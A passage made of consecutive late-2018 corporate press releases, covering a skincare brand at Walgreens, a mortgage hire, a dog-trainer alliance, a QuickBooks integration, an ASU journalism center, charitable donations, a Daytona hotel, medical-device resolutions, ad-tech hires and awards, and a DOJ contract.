goal was to offer beauty consumers an enhanced way to discover and shop for groundbreaking new brands and products. While curating their collection, Walgreens and Birchbox invited skincare expert Denise Spanek to have her line of Air Repair Skincare products be part of the experience. Air Repair Skincares partnership with Birchbox at Walgreens marks the brands first national brick and mortar retailer. "We are honored to be included in this unique approach for offering distinctive beauty products. And we are excited that Air Repair Skincare will be reaching, and helping, a whole new audience," says Spanek, Founder and CEO of Air Repair Skincare. "I believe what made the Air Repair Skincare line so desirable for this collection is that our brand resonates with the Birchbox mission 'to help women cut through the clutter of the beauty world to find products that really work for them,'" she adds. "Air Repair Skincare offers an experience that is simple and straightforward. We use clean chemistry, healing botanicals and natural ingredients to help protect, soothe and heal against environmental stressors." Since Air Repair Skincares launch with Birchbox in 2014, the brand has seen exponential growth. The Air Repair Complexion Boosting Moisturizer has been an ongoing best-seller with Birchbox customers and was nominated for Birchboxs inaugural Best In Beauty Awards this year. Our subscribers have been avid fans of Air Repairs high-quality skincare and the utility of each product since we first introduced the brand to them, says Alex Azzara, director of merchandising at Birchbox. The goal of Birchbox at Walgreens is to scale that discovery experience and make it easy, efficient, and fun for each customer to find the best products for his or her unique needs and personal routine in the most convenient place. A tried-and-true Birchbox customer-favorite brand, Air Repair immediately grasped our vision for this next phase of our retail strategy and were thrilled to have them on board. About Air Repair Skincare Denise Spanek, CEO of Air Repair Skincare, gained her deep experience as head of a San Francisco makeup and skincare studio. In her 25 years working with clients, she noticed that there was a need in the market for anti-pollution skincare products to address inflammation triggered by the effects of climate change, travel, and flight fatigue. All Air Repair products are formulated with healing botanicals and natural extracts that block inflammatory mediators. About Birchbox at Walgreens The Birchbox shopping experience within Walgreens will feature a dedicated, Birchbox-branded space and a curated product assortment. The offerings feature full-sized skincare, makeup and hair products from more than 40 prestige brands in Birchboxs portfolio. The pilot program rolls out in December and continues into early 2019 in 11 Walgreens locations across U.S. major cities. For additional information contact: Denise Spanek, CEO, Air Repair: dspanek@airrepairskincare.com We are proud to welcome Andrew to the NewFed team with the opportunity to open a new branch location in North Andover. He is an accomplished mortgage industry professional that is passionate about providing quality service" Andrew comes to New Fed Mortgage with an 18 year history of working in the mortgage banking industry. He most recently was at Salem Five which recently acquired Sage Bank where he worked as a Senior Loan Officer and Team Leader over the past 7 years. Prior to Sage Bank, Andrew worked at East Pointe Mortgage as VP of Sales and Operations. Andrew attended Salem State where he received his BS in Management and Economics, and received his certificates in International Business from Rivier University in New Hampshire. Andrew is focused on customer service and strategies with each of his clients to structure a loan program that meets their financial goals. He ensures his clients are comfortable about the loan process with a proven track record of reliable personalized and professional service. Andrews experience with managing and mentoring a branch has consistently led his sales team to success. Outside of work, Andrew is part of the Merrimack Valley Chamber of Commerce and the National Association of Hispanic Realtors (NAHREP), as he is fluent in Spanish and Italian. He resides in Salem, NH with his family, and his 18 year old triplet sons. President and CEO Brian DAmico commented We are proud to welcome Andrew to the New Fed team with the opportunity to open a new branch location in North Andover. He is an accomplished mortgage industry professional that is passionate about providing quality service. His expertise in mortgage lending and extensive management background will certainly complement our mortgage origination efforts. New Fed Mortgage, locally based in Massachusetts has specialized in residential mortgage lending since 2001. Licensed in seven states, New Fed offers a multitude of mortgage programs, including Conventional, FHA, VA, USDA, Mass Housing, New Hampshire Housing along with access to a wide array of specialty portfolio programs. http://www.newfed.com Our goal is to educate our graduates about the vibrant community of dog trainers that exists outside of our school and to assist all parties in building relationships with each other, said Steven Appelbaum, president and CEO of Animal Behavior College. To reinforce its commitment to educating and developing high-quality dog trainers who use positive reinforcement methods, Animal Behavior College (ABC), Animal Behavior College (ABC) today announced the formation of a strategic alliance with the Association of Professional Dog Trainers (APDT). The collaboration will allow both organizations to leverage their unique strengths to develop better trainers and enhance the integrity of the profession. The alliance is effective immediately. This collaboration with APDT will help Animal Behavior College to continue providing students and graduates with the most relevant dog trainer education and resources available, said Steven Appelbaum, president and CEO of Animal Behavior College. Our goal is to educate our graduates about the vibrant community of dog trainers that exists outside of our school and to assist all parties in building relationships with each other. Too often, people view the [dog training] industry as segregated and comprised of varying opinions and training methods, said Megan Stanley, Chair of APDT. To further our reach and strengthen our messaging, the best way to do this is by developing strategic alliances [such as with ABC] to accomplish shared goals. We believe in inclusion and leading by example, which demonstrates the powerful impact of collaboration. This, in turn, helps to advance and further professionalize dog training. There is currently no education or training requirements in place to become a professional dog trainer. However, the lack of industry regulation and controversial training methods has sparked much debate within the profession. To keep dogs safe from injurious training methods, ABC, APDT and other organizations have adopted and advocate the Least Intrusive, Minimally Aversive (LIMA) philosophy. The objective is to educate and create better trainers who use positive problem-solving strategies to meet their training goals. By focusing on professional development, these organizations believe it will enhance the performance standards of dog trainers in the industry. Our combined efforts will have a positive ripple effect. It means better educated and more qualified dog trainers whose expertise will benefit owners, their relationships with their pets and their pets well-being, Mr. Appelbaum said. Through the alliance, ABC and APDT will support co-branding efforts on industry-related topics, and in press releases, websites, tradeshow booths, etc. Each organization will share educational material and publish articles in each others newsletters and magazines. For more information about APDT call 1-800-Pet-Dogs (800-738-3647) or visit http://www.APDT.com/. For more information about ABC, call 800-795-3294 or visit http://www.AnimalBehaviorCollege.com. About the Association of Professional Dog Trainers The Association of Professional Dog Trainers, headquartered in Lexington, Kentucky, was founded in 1993 to be an inclusive forum for trainers to network with each other, provide educational opportunities, and grow the profession. Currently, the APDT reaches more than 5,200 members in 48 countries worldwide and is actively involved in ethics issues, business management, research, and continuing education in the professional dog training profession and pet industry. About Animal Behavior College Now celebrating its 20th Anniversary, Animal Behavior College is a vocational school that trains professional dog trainers, cat trainers, veterinary assistants and pet groomers nationwide and in the 10 provinces of Canada. To date, ABC has graduated and certified more than 27,000 students from its four core programs combined including dog training, cat training, pet grooming and veterinary assisting. Students gain practical hands-on experience applying what they learn by working side-by-side with a member of ABC's expert mentors group. These professional mentors include thousands of professional dog trainers, veterinary hospitals and clinics and grooming salons from all across the U.S. and Canada who are dedicated to helping students succeed in the pet services industry. ### For service companies using QuickBooks it has never been easier to streamline their business! Bella FSM QuickBooks Integration gives full visibility into how businesses are running and where it can be improved. Accounting software and Field Service Management software work together to share data between field technicians, office staff and accounting, including customer information, expenses, and invoicing. Connecting with QuickBooks reduces duplicate data entry, increases productivity, and drives more insights for better forecasting. QuickBooks integration means that the data only has to be entered once. There are less data entry errors when QuickBooks integration is utilized, as there is less human data entry needed. Human beings make mistakes and the ability to eliminate redundant data entry will decrease these errors. QuickBooks integration allows for faster workflow from the point of entry to the billing stage, which allows businesses to bill faster and increase cash flow. The addition of the QuickBooks Integration tool substantially improves the efficiency of our clients, explained John Linn, CEO of Bella FSM. Everyone at Bella FSM would like to thank our clients who offer real-world feedback on usability which helps us continually refine our functionality to improve our clients day-to-day business operations and satisfaction. Bella FSM is a brand trusted by companies worldwide to simplify quoting, work orders, invoicing, scheduling, dispatch, accounting, employee and vendor management, and Customer Relationship Management (CRM). By introducing QuickBooks integration, Bella significantly simplifies the data management process of running a business. About Bella FSM Bella FSM is a leading Software-as-a-Service (SaaS) provider specialized in field service management software for a wide range of industries including construction, pest control, property management, cleaning, IT services, carpet, window, and HVAC businesses. The company was founded in 2005 and serves clients worldwide from its corporate headquarters in Reston, Virginia and satellite office in Atlanta, Georgia. Maud Beelman, the award-winning U.S. investigations editor for The Associated Press, will be the founding executive editor of the Howard Center for Investigative Journalism at Arizona State University. Beelman, who will hold the faculty rank of professor of practice, will lead the new Scripps Howard Foundation-funded institute at the Walter Cronkite School of Journalism and Mass Communication. The Howard Center, named in honor of news pioneer and media executive Roy W. Howard, will develop a new cadre of investigative journalists by tapping into time-honored in-depth reporting methods, new technology-enabled reporting and storytelling techniques, and research methods incorporated from a wide array of other fields such as law, business, medicine, the arts and the social sciences. The Howard Center will be an immersive teaching, learning and news production environment in which Beelman and other top professional journalists will lead aspiring investigative reporters, often from professions and disciplines outside of journalism. The center, which will produce major investigations on all platforms in partnerships with national and regional news organizations, will be the capstone experience for students enrolled in Cronkites first-in-the-nation masters degree in investigative journalism. The degree program and Howard Center officially launch this summer. Beelman will join Cronkite next month to design the center and a series of new courses taught by leading professors from other colleges and disciplines across ASU, the nations largest research university with more than 3,400 professors in 800 degree programs. Were thrilled to have an investigative journalist of Maud Beelmans caliber leading the Howard Center for Investigative Journalism at ASU, said Liz Carter, president and CEO of the Scripps Howard Foundation who led the efforts to create Howard Centers at Arizona State and the University of Maryland. Her breadth of experience, innovative spirit and commitment to developing young journalists make her the ideal person to shape this groundbreaking program. Beelman was selected following an intensive national search. As U.S. investigations editor for The Associated Press, she leads a multiplatform team of national investigative reporters. The teams most recent works include an investigation into the Pentagons handling of sexual assaults among U.S. military dependents and an in-depth look at the safety and regulation of medical devices. Previously, she was the deputy managing editor for projects at the Dallas Morning News, leading a 15-member team focused on investigative and enterprise stories. Beelman also was the founding director of the International Consortium of Investigative Journalists. ICIJ, launched by the Center for Public Integrity, was the first global network of investigative reporters. She built and supervised a network of more than 90 journalists in 45 countries, designing and delivering award-winning international investigations. Her honors include the George Polk Award, Sigma Delta Chi Award, ABA Silver Gavel, National Headliner Award and awards from Investigative Reporters and Editors, Associated Press Media Editors and Society of Professional Journalists. Maud Beelman is the perfect choice as founding executive editor of the Cronkite Schools Howard Center, said Leonard Downie Jr., the former executive editor of The Washington Post who now serves as the Weil Family Professor of Journalism at Cronkite. Downie said Beelman will be the leading educator of new investigative reporters, a producer of investigative journalism of national importance, an innovator in the Howard Centers unique multidiscipline, data-harvesting and multimedia dimensions, and a collaborator who will increase the impact of students investigative stories through use by news media throughout the country. The chair of the Howard Center search committee at ASU was Sarah Cohen, the Pulitzer Prize-winning former data editor of The New York Times and Washington Post, who is now the Knight Chair in Data Journalism at the Cronkite School. Maud has spent most of her career teaching reporters how to conduct investigations, building collaborations within and outside her organizations, and learning from experts in other disciplines all while overseeing investigations that had national and international impact, Cohen said. We cant wait for her to bring that special experience to the Howard Center. Beelman joins a team of award-winning journalists at the Cronkite School who specialize in investigative journalism. They include: Pulitzer Prize winners Cohen, Downie, Jacquee Petchel, the former Miami Herald and Houston Chronicle investigations editor, who now leads Cronkites Carnegie-Knight News21 program; and Walter V. Robinson, the former editor of The Boston Globes Spotlight Team, who now is the schools Donald W. Reynolds Visiting Professor. All served on the national search committee for the Howard Center executive editor. Other search committee members were: Mi-Ai Parrish, former publisher of The Arizona Republic and Kansas City Star, who serves as the schools Sue Clark-Johnson Professor in Media Innovation and Leadership; Julia Wallace, the former editor-in-chief of the Atlanta Journal-Constitution, who is the schools Frank Russell Chair in the Business of Journalism; and Kristin Gilger, Cronkite senior associate dean who holds the Reynolds Professorship in Business Journalism. Those professors will play central roles in the delivery of the new Master of Arts in Investigative Journalism. Im so honored to have been chosen and so excited to work with these amazing journalists at the innovative and distinguished Cronkite School, Beelman said. Ive had the good fortune to do many wonderful things in my career, but being offered the chance to help shape the future of investigative reporting is more than I could have hoped for. Beelman started her news career after receiving a masters degree from the University of Floridas College of Journalism and Communications. She joined the AP as a reporter and editor, working in news bureaus in Louisiana, Florida and Pennsylvania and later in New York and Washington. She also was a foreign correspondent, covering the wars in the former Yugoslavia, post-war conflict in Iran and Iraq, German reunification and other major stories across Europe and the Middle East. Her foreign work parallels that of the centers namesake, the late Roy W. Howard. Howard, who went on to lead and greatly expand the Scripps-Howard newspaper empire, early in his career was a journalist and executive at United Press, a global news service and competitor to the AP at the time. Throughout his career, he traveled the globe interviewing world leaders and covering the most important issues of the day. We are thrilled that Maud Beelman will be creating the next generation of great investigative journalists, finding new partnerships with media organizations and other disciplines, and preserving, protecting and honoring the legacy of Roy Howard and the ideals and values of the Howard Center and Scripps Howard Foundation, said Cronkite Dean Christopher Callahan. About the Scripps Howard Foundation The Scripps Howard Foundation supports philanthropic causes important to The E.W. Scripps Company and the communities it serves, with a special emphasis on excellence in journalism. At the crossroads of the classroom and the newsroom, the Foundation is a leader in supporting journalism education, scholarships, internships, minority recruitment and development, literacy and First Amendment causes. The Scripps Howard Awards stand as one of the industrys top honors for outstanding journalism. The Foundation improves lives and helps build thriving communities. It partners with Scripps brands to create awareness of local issues and supports impactful organizations to drive solutions. About the Walter Cronkite School of Journalism and Mass Communication The Cronkite School is widely recognized as one of the nations premier professional journalism programs. Cronkite champions a teaching hospital model of journalism education in which students create professional content under the guidance of top professionals. Cronkite News, the student-powered, faculty-led news division of Arizona PBS with news bureaus in Phoenix, Washington and Los Angeles, produces a daily newscast for the station. Cronkite emphasizes programs that experiment with new forms of in-depth information gathering, storytelling, audience engagement, digital interactivity and revenue models. About Arizona State University ASU is the largest, fast-growing and most innovative higher education enterprise in the U.S. The university is guided by its charter, which focuses not on exclusion, elitism and traditional academic structures, but on inclusion, innovation and measureable results for students, the nation and the world. ASU has been named the countrys most innovative university for the fourth consecutive year by U.S. News & World Report (just ahead of Stanford and MIT). The $3.1 billion enterprise, with 3,400 faculty members, has more than 100,000 students across five campuses and on robust learning platforms enrolled in more than 800 degree programs. At Axcess Financial, we believe in giving back to our communities and working together to make a difference in the neighborhoods where we work and play. Axcess Financial announced the company donated $68,000 in cash donations in 2018. At Axcess Financial, we believe in giving back to our communities and working together to make a difference in the neighborhoods where we work and play, said Doug Clark, president of Axcess Financial. Im proud of the work our team has done to make this donation possible. It is an honor to work with individuals who place a high importance on volunteerism charitable giving. Examples of the companys donations in 2018 include: $25,000 to Susan G Komen to aid in the fight against breast cancer efforts. $6,250 to Habitat for Humanity to help families build and improve places to call home. $35,750 was donated through the Axcess Financial EPIC Outreach Program. The EPIC Outreach Program empowers employees from Check `n Go locations across the U.S. to choose organizations within their community to support. For example, Check `n Gos Tulsa, OK location donated $1,000 to The Little Light House to help improve the quality of life for children with special needs and their families. The Trenton, Ohio Check `n Go location also donated $1,000 to the WAE Foundation, which provides healthy lunches to children who would not otherwise have access to them. In addition to the monetary donations, the company creates a giving tree during the holiday season that inspires donations from employees of clothing, food and toys. These donations are collected for several organizations who distribute to those in need during the month of December. Axcess Financial also encourages employees to be active volunteers and support their individual charitable initiatives throughout the year. We are extremely appreciative for our corporate associates and store staff who identify the needs in their neighborhoods where we can help, Clark said. We could not do what we do without our people and were looking forward to continuing to help those in need in the new year. About Axcess Financial/ Check `n Go: Axcess Financial, as an administrative services company, provides support to the Check n Go and Allied Cash brands. The company works to provide customers with financial solutions they need when they need them. The Check `n Go story began over 20 years ago in Covington, KY, at a retail location with a customer base in desperate need of financial support. Since then, the Axcess family of brands has grown to nearly 1,000 retail stores and has serviced over 50 million loans. To learn more about our Check `n Go locations, please visit https://www.checkngo.com/state-center/. Follow us on twitter @Axcess_Fin. Bahama House Hotel Pool We are very honored to have received this many five-star reviews from our guests. Our staff works exceptionally hard to provide top notch customer service and works around the clock to make each guest feel very welcome to our resort. The Bahama House Hotel announces their outstanding review performance on Trip Advisor. This Daytona Beach, Florida oceanfront resort has received over one thousand five-star ratings from guests. Blaine Lansberry, Vice-President of Sales and Marketing for the Bahama House Hotel, stated, We are very honored to have received this many five-star reviews from our guests. Our staff works exceptionally hard to provide top notch customer service and works around the clock to make each guest feel very welcome to our resort. We greatly appreciate our guests taking time to rate us on Trip Advisor. From guest comments we have made improvements to our hotel such as expanding our offerings on our daily complimentary continental breakfast and probably the largest change has been going to a smoke free ocean front resort. Based on guest feedback we gladly made the change to not allow smoking in any of our guest rooms, on any balcony or around our pool and sun deck area. This change has been very well received by our guests. The Bahama House Hotel caters to families, mature adults, solo travelers, and groups. A variety of room options are available to suit the needs of most every guest. Families might prefer to book a room with a kitchenette so they may cook meals and save on dining out, while a solo traveler might prefer a standard room with no kitchenette and value pricing. Rooms with a kitchenette feature a 2-burner glass cook top, full-sized refrigerator, microwave oven, toaster, coffee maker with a starter pack of coffee, cookware and dinnerware for four. Standard rooms feature a mini-refrigerator, microwave oven, and a coffee maker. Guest rooms offer either two queen beds or one king bed. All rooms are 400 plus square feet in size and have a private, furnished balcony. Rooms have either an ocean front view or an ocean view. Ocean view rooms provide a northeast or southeast view of Daytona Beach, the Atlantic Ocean, and surrounding neighborhoods. The ocean front rooms provide a due east view of Daytona Beach and the Atlantic Ocean and the Bahama House pool and sun deck areas. A wide range of amenities such as high-speed Wi-Fi internet access, a daily continental breakfast, a daily cocktail reception, free parking, and fresh baked cookies are all included in the affordable rate. No resort fee is ever charged at the Bahama House Hotel. Lansberry added, Many hotels tack on additional fees for amenities that we always include in our rates. What makes our hotel different is that we never charge a resort fee so guests dont feel like they are constantly having to open their wallet while on vacation. Many travelers fly into the Daytona Beach International Airport to start their vacation. The Bahama House Hotel is convenient to this airport and the Daytona Beach International Speedway, the Tanger Outlets, and the Daytona Beach Pier and newly opened ONE DAYTONA. Many guests also choose to spend a day exploring the theme parks in Orlando such as Sea World, Universal Studios, and Walt Disney World. After a day at the Orlando theme parks, guests love to return to the Bahama House Hotel and enjoy their daily cocktail hour, a swim in the pool, or a walk on the beach. This ocean front resort has a prime location on the beach. Guests are footsteps from the sand with direct beach front access from the hotel. Lansberry stated, Our guests love our easy beach access. Families especially appreciate the ease of getting to the beach with small children. There are no busy roads to cross, no parking lots to deal with just a short walk from our pool area to the beach. The Bahama House Hotel is located at 2001 South Atlantic Avenue in Daytona Beach, Florida. To learn more about the Bahama House Hotel, travelers are asked to visit online at https://daytonabahamahouse.com/. For best rates and availability, beach goers should book direct by calling 1-800-571-2001 or book online. Boulder iQ The transition to the EU Medical Device Regulation, digital health, and big data are just a few of the challenges the industry is facing. This is the time for medical device companies to reflect on their performance and identify where they can resolve to improve in 2019. New Years brings reflection and desire to improve for individuals and businesses alike. Heading into 2019, with major changes in regulations in the European Union (EU) on the horizon, Jim Kasic, president and CEO of Boulder iQ, suggests five resolutions for medical device companies to consider. The transition to the EU Medical Device Regulation (MDR), digital health, and big data are just a few of the challenges the industry is facing, says Kasic, whose company is an expert consulting firm specializing in regulatory, clinical and quality compliance services for medical device and in vitro diagnostic companies. This is the time for medical device companies to reflect on their performance financial and otherwise and identify where they can resolve to improve in 2019. 1. Prioritize technical documentation. The countdown to May 26, 2020 the transition deadline for the MDR has begun, Kasic says. Medical device companies need to have resources and plans in place early in the year, he says, to handle a plethora of requirements: confirm the classification of their devices; determine which conformity assessment route to choose; reexamine technical files (as they are about to get thicker); prepare for more stringent clinical evaluation requirements (CERs); comply with new identification and traceability (UDI) requirements; and expand post-market surveillance (PMS) efforts. Whether a medical device company uses in-house or consulting experts, they must have demonstrable, current knowledge of global regulations and guidelines, states Kasic. 2. Make sure each product group is working with a quality and regulatory expert. With the transition to the MDR, it can be easy to miss a step in the complex quality and regulatory area, according to Kasic. Dedicated resources can review and audit existing systems, identify gaps and areas for improvement and compliance, assess risk and help bring a companys quality management system into compliance. 3. Consider users earlier in product development. Terms such as user experience design consulting and design thinking are not just catchy phrases, says Kasic. Instead of creating a device and then determining its compatibility with users, start with users and the use environment, and design from there. Engaging patients, and not just providers, is a key factor for medical device companies, he adds. 4. Truly innovate for local markets. Everyone likes to say they have an innovative company or innovative solution, says Kasic. But true innovation in the medical device industry includes innovation in the product mix. Creating, designing and developing products for localized markets around the world is critical to success. 5. Up your practices. Best practices have earned that designation for a reason, comments Kasic. January is an excellent time to take a hard look at strengths and weaknesses, and identify where and how to improve or implement best practices. Whether it is gap analysis, audit preparation, or a full review and overhaul of product verification and validation procedures, the work will reap bottom-line results. Sticking to resolutions is often harder than making them, concludes Kasic. These suggested resolutions are first steps in helping medical device companies develop products that will improve the health of patients. The next step is for device manufacturers to put in place plans and systems to make their unique resolutions reality. About Boulder iQ (http://www.boulderiq.com) Boulder iQ is an expert contract consulting firm for medical device and industrial product design and development. Formed as a merger between Boulder BioMed and Samson Design Associates Inc., Boulder iQ offers regulatory, quality and clinical compliance services for medical device and in-vitro diagnostic companies, and design, development and manufacturing for medical device, consumer and industrial products. The company is based in Boulder, Colorado. Brand safety could be achieved without brands compromising on quality or publishers compromising on scale. I am very fortunate to be a member of a team that will help play a crucial role in rebuilding trust in the digital space Military-grade cybersecurity company CHEQ today announced the hiring of Joshua Grant as Chief Client Officer, a new position, effective immediately. Grant served as Head of Programmatic for Dentsu in Japan and was charged with vetting third-party verification partners for key client P&G. In his new role, he will oversee CHEQ's rapidly growing client base and ensure the company's solutions continue to serve their custom needs and specifications. Hell be based in New York and reports directly to CEO Guy Tytunovich. Advertisers, agencies and publishers alike are starting to lose trust in the advertisement ecosystem due to lack of transparency and efficiency in mitigating ad fraud and ensuring brand safety, Grant said. Through my experience in prominent digital agencies, I've realized exactly how differentiated and disruptive CHEQs solution is, and what new-level of tech it brings to the table. Brand safety could be achieved without brands compromising on quality or publishers compromising on scale. I am very fortunate to be a member of a team that will help play a crucial role in rebuilding trust in the digital space. At Dentsu, Grant helped develop and implement innovative digital strategy within the Japanese market while focusing on driving innovation around data acquisition and utilization. During his time at the Dentsu Group, he was responsible for overseeing the media planning for key brands including P&G, Kellogg's, SoFi and Uniqlo. CHEQ continues to lead the ad-verification industry towards a fully autonomous, AI-driven future says Guy Tytunovich, CEO of CHEQ. As we continue to expand globally and build partnerships with leading advertisers, agencies and publishers, Joshuas extensive experience and forward-thinking approach will prove invaluable. Grant is the second senior hire this month for CHEQ. Cybersecurity expert Eyal Balicer has also joined the company as Global Chief Operations Officer from Glilot Capital Partners. Prior to Glilot, Balicer served as Head of Research and Analysis at the Israeli National Cyber Bureau. About CHEQ CHEQ is a global cybersecurity company and a pioneer of Autonomous Brand Safety, protecting the digital ad spend for the world's leading brands. With offices in Tokyo, New York and Tel Aviv, CHEQ is transforming ad verification by introducing military-grade AI to tackle brand safety, ad-fraud and viewability preemptively and in real-time. Backed by Battery Ventures, the companys mission is to help sustain the digital ecosystem by protecting advertisers from the risks of online advertising and helping them regain confidence in the space For more information, please visit http://www.cheq.ai President Emeritus Clifford Scott, OD, MPH Throughout his career, he strengthened our relationships with community partners, pushed for optometric legislation on a state and national level, helped establish optometry within the VAMC (Veterans Administration Medical Center) system, and supported the wider scope of optometry internationally. New England College of Optometry (NECO) is pleased to announce that former president Clifford Scott, OD, MPH, has been appointed with the title of President Emeritus, New England College of Optometry. This honor comes in recognition of his accomplishments during a significant decade of leadership and fifty years of service to the College. Pano Yeracaris, MD, MPH, Board of Trustees Chair for New England College of Optometry notes, Dr. Scott has been associated with the New England College of Optometry for his entire 50 year stellar career, serving as president from 2009 to 2018. During the last 10 years, Dr. Scott, with visionary leadership, has guided NECO to continued excellence in strengthening our unique clinical and academic programs. The Board of Trustees unanimously voted to bestow the emeritus title to Dr. Scott at the December 5th 2018 meeting to recognize the vital contributions he has made through the years. Dr. Scott served as the twelfth president of the College from 2009-2018. His spirit of innovation helped shape a curriculum and clinical program for NECO's graduates to be successful in the tumultuous world of health care reform. Dr. Scott was instrumental in implementing the clinical campus concept where all NECO's clinical functions - patient care, learning, and clinical research - are brought together under one roof, sharing space and incorporating high-tech instrumentation. The final phase of this clinical campus was completed earlier this year with the opening of NECOs state-of-the-art student clinical training center. Dr. Scott has been a positive presence at the College for over 50 years, notes former President Alan Lewis, serving as a member of the faculty, as dean, and as president. As unpretentious as he is capable, he embraced the long tradition of valuing NECO as a family and community rather than just as a workplace. Above all, he was dedicated to the welfare and the professional success of the students. This signal honor recognizes his many contributions to the College and to the profession as well as the deep respect with which he is held by his colleagues. Former President Larry Clausen agrees, President Scott stands as one of NECOs greatest champions of the College and leaves a legacy of exceptional service to both the college and the optometric profession. Throughout his fifty-year career, he was an ever-present, positive influence on the colleges advancement. It was fitting that he was named president in 2009; it is fitting that he is to be honored as President Emeritus in 2018. During his tenure as President, Dr. Scott worked as a community leader, building partnerships locally, nationally, and internationally. James T. Brett, President and CEO of The New England Council notes "Dr. Scotts contributions over five decades of service to the New England College of Optometry have left behind an incredible legacy, and I cannot think of a more fitting way to honor this remarkable leader than by naming him President Emeritus. Throughout his fifty years in the profession, Dr. Scott also worked tirelessly to advocate for optometry. Executive Director Jay Gardiner, Massachusetts Society of Optometrists (MSO), explains, "Dr. Clifford Scott's inclusive leadership style and forward thinking vision of optometry has profoundly advanced the profession. Dr. Scott has played an influential role shaping the future impact of optometry at both a state and national level." Dr. Scotts entrepreneurial spirit has helped mold and change the profession for the better during his time as professor, department chair, academic dean and President, notes Professor Bina Patel, Faculty Chair and Director of International Programs at NECO. Throughout his career, he strengthened our relationships with community partners, pushed for optometric legislation on a state and national level, helped to establish optometry within the VAMC (Veterans Administration Medical Center) system, and supported the wider scope of optometry internationally. While helping to advance the profession, he also remained a huge advocate for students at the College. I'm grateful for the opportunity I had to help lead the College in becoming a such a dynamic institution that produces knowledgeable, caring optometrists fully prepared for success in the rapidly changing world of health care, explains President Emeritus Clifford Scott. It is personally very gratifying that Dr. Howard Purcell was selected to accelerate that momentum with the support of the NECO community. I'm truly honored by the Board of Trustees' recognition and will continue to be a resource for the College. Current President Howard Purcell is proud to build upon Dr. Scotts achievements. The impact Dr. Scott (Scotty) has had on NECO is far reaching and significant, he explains. His legacy is only surpassed by his passion for the profession and for every graduate that has been part of the NECO family. We are forever indebted to his unwavering support and countless contributions. We look forward to his continued contributions to the Board of Trustees, the College leadership, and the faculty in years to come. About President Emeritus at New England College of Optometry The honor of President Emeritus at NECO is given in recognition of significant contributions and dedication of a retiring college president, New England College of Optometrys Board of Trustees may confer the title of President Emeritus. Recipients must have at least 10 years of service to the College and a history of outstanding contributions and exemplary service to higher education, the College community and the overall profession of optometry. About New England College of Optometry New England College of Optometry is an independent graduate college of optometry that educates students for careers in eye care delivery, research and education. NECO was founded in 1894 as the Klein School of Optics, and is the oldest continuously operating school of optometry in the United States. NECO prepares the next generation of eye care providers, educators, leaders, and innovators through a rigorous curriculum and extensive clinical experiences. Through a vast network of clinical affiliations, our students put patient care first, providing vision care to children, older adults, the homeless, and individuals with disabilities through our mobile eye clinic, satellite clinics in schools, homeless shelters, community health centers, and VA medical centers. Cognitiv, the first custom, self-learning, fully automated neural network technology available for marketers, has been recognized as one of the Best Entrepreneurial Companies in America by Entrepreneur Magazines Entrepreneur360 List. Winners were selected based on a premier study delivering the most comprehensive analysis of private companies in America. In the study Cognitiv is recognized as a well-rounded company that has mastered a balance of impact, innovation, growth leadership and value. This recognition comes on the heels of Cognitivs co-founders making Entrepreneurs list of Top Entrepreneurs & Innovators. We are honored to be recognized as one of the best companies on the Entrepreneur360 List, said Jeremy Fain, CEO & co-founder, Cognitiv. 2018 has been an incredible year for Cognitiv. In addition to this distinction, the company has been recognized by Digiday and The Drum for its unique vision on how AI can positively impact and provide unsurpassed value, differentiation, and substantial advantage for marketers today. We look forward to continuing our mission of providing the smartest custom AI to our marketing clients, allowing them to stay ahead of their competition. Our annual evaluation of vetted data offers a 360-degree analysis of top privately-held companies across a multitude of industries, explains Jason Feifer, editor in chief of Entrepreneur Magazine. They are deemed successful not only by revenue numbers, but by how well-rounded they are. The companies that make the list have pushed boundaries with their innovative ideas, fostered strong company cultures, impacted their communities for the better, and increased their brand awareness. Cognitiv trains neural networks to recognize and predict patterns that ensure deep learning algorithms are tailored to a brands needs and audience. As it learns more about consumers behaviors, its platform, NeuralMind, is continuously optimized to better predict preferences and future actions. Measurable KPIs, such as conversions, test-drive signups, purchases, website visits, and store visits, can be turned into algorithms that identify new customers or drive incremental sales more effectively than traditional manual efforts. Honorees were identified based on the results from a comprehensive study of independently owned companies, using a proprietary algorithm and other advanced analytics. The algorithm was built on a balanced scorecard designed to measure five metrics reflecting major pillars of entrepreneurshipinnovation, growth, leadership, impact and business valuation. To learn more about Cognitiv, visit https://cognitiv.ai. About Cognitiv Cognitiv is the first marketing AI company to offer plug-and-play products that enable marketers to improve results through customized algorithms. Cognitiv provides self-learning, fully automated deep neural network technology for multi-touch, full-funnel marketing. Cognitiv allows marketers to predict customer behavior and more accurately target potential customers, improving ROI on ad spend. As the only company that provides custom deep learning algorithms to brands, Cognitivs solutions have been shown to be up to 20 times more efficient than standard industry practice. Learn more at cognitiv.ai, follow us on Twitter @teamcognitiv, on LinkedIn, and on Facebook. ABOUT ENTREPRENEUR MEDIA INC. For 41 years, Entrepreneur Media Inc. has been serving the entrepreneurial community by providing comprehensive coverage of business and personal success through original content and events. Entrepreneur magazine, http://www.Entrepreneur.com, http://www.GreenEntrepreneur.com and publishing imprint Entrepreneur Press provide solutions, information, inspiration and education read by millions of entrepreneurs and small business owners worldwide. To learn more, visit entrepreneur.com Follow us on Twitter or Instagram at @Entrepreneur and like us on Facebook at http://www.facebook.com/entmagazine. DRT Strategies, Inc. (DRT) (http://www.drtstrategies.com), a leading management and technology firm, announced today that the U.S. Department of Justice (DOJ) has awarded the company a new contract with the Office of Community Oriented Policing Services (COPS Office). Specifically, DRT will develop, implement, and maintain a comprehensive internal/external communication strategy and a financial management and quality control strategy for the COPS Office. The award is worth $4 million over three years. DRT has a strong, nine-year track record delivering high quality, responsive service to DOJ COPS in support of their mission to advance community policing, commented Jay Hadley, Vice President, Civilian Business Unit at DRT Strategies. We are delighted to continue supporting the COPS mission under this new contract through strategic communications as well as financial and budget management support services agency wide. We are proud that our teams efforts have contributed to a culture of high performance that advances the agencys priorities for supporting law enforcement. About the COPS Office The Office of Community Oriented Policing Services (COPS Office) is the component of the U.S. Department of Justice (DOJ) responsible for advancing the practice of community policing through information and grant resources to the nation's state, local, territorial, and tribal law enforcement agencies. Since 1994, the COPS Office has invested more than $14 billion empowering agencies to hire community policing professionals, develop and test innovative policing strategies, and provide training and technical assistance to community members, local government leaders, and all levels of law enforcement. About DRT Strategies DRT Strategies, Inc. (DRT) is a leading management and technology firm providing information technology (IT) solutions, health IT services, program management and financial management solutions to federal agencies and enterprise clients in the technology and financial services sectors. The company is an Amazon Web Services (AWS) Consulting Partner, holds an ISO 9001 certification and has achieved CMMI-DEV Level 3. DRT is headquartered in Arlington, Virginia, with offices in Washington, D.C., Baltimore, Maryland, Atlanta, Georgia, and Kansas City, 